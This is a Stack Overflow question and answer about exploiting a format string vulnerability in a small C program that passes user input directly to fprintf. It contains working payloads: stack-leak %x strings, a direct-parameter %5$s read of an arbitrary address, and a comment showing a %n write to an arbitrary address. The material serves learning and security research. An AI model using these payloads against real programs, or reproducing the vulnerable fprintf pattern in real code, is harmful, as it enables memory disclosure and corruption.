2

I am doing some computer security research, and I am trying to learn about string format vulnerabilities. I am running a program that contains this code:

char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);

When I feed the program the argument "%08x.%08x.%08x.%08x.%08x" (which gets read into the "data" variable), I get the output: 00000020.b7fd7560.08048b09.00000019.78383025

I understand that each hex number is popped off the stack, and the "78383025" comes from the buffer itself. So there are 4 words--16 bytes--that I have to pop off before I get to the start of my buffer.

When I give the argument `perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`, the %s part prints the string located at memory address 0xbffff92a.

Now, I'd like to do this using direct parameter access. If I feed the program the argument `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`, I should expect the program to do the same thing as above. But all the program prints is the four characters at the start of the buffer. So, what gives??? Am I using the wrong syntax for DPA??? I am using Ubuntu 9.04, 32-bit by the way.

Here is some compilable code, not guaranteed to produce the same results though:

#include <stdio.h>

void run(const char* data) {
    char buf[1<<5];
    strncpy(buf, data, sizeof(buf));
    buf[sizeof(buf) - 1] = '\0';
    fprintf(stderr, buf);
}

int main(int argc, char* argv[]) {
    run(argv[1]);
    return 0;
}
4
  • I assume you meant perl -e 'print "\x2a\xf9\xff\xbf%16$s";' (notice the ' character is before the print) ? Is that a typo in the question ? Commented Aug 18, 2011 at 20:13
  • Could you please post the minimal compilable code which reproduces the issue ? It's quite hard to understand it yet. Commented Aug 18, 2011 at 20:16
  • yeah sorry, I made a typo in the question. Commented Aug 18, 2011 at 20:19
  • And what is the exact way calling of the program ? progname \x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_ ? Commented Aug 18, 2011 at 20:47

1 Answer 1

4

%16$s refers to the 16-th argument after the format string, and tells printf to interpret it as a char* and display it as a string.

You seem to be using it as a means to skip 16 bytes before getting the string though, which is not exactly the same thing.

Since you want the 5-th argument, try something more like this format string :

"\x2a\xf9\xff\xbf%5$s"

Since you're using perl -e 'print "...";' to pass the data, you will have to escape the $ character. Ie. :

./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`
Sign up to request clarification or add additional context in comments.

5 Comments

I actually tried everything from %1$s to %24$s, and none of these printed anything from memory.
But I think you're right that it should be %5$s, because, if you don't give printf any arguments, it probably just addresses the data on the stack as words. so the 5th word is my address 0xbffff92a.
Updated my answer to reflect your way of passing the format string ... You'll need to properly escape the $ character.
@John : The $ character is a special character in Perl, so it needs to be escaped, yes.
As a follow-up, I'd just like to say something interesting about this: ./progname `perl -e 'print "***%7\\$n*\x38\xa0\x04\x08";'` will change the value of the variable stored at 0x0804a038 to 3. This works because printf first prints the three * characters, then this part: %7\\$n writes the number of characters printed thus far (three) to the address represented by the 7th word from the stack pointer. Lastly, 0x0804a038 is the 7th word from the stack pointer.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.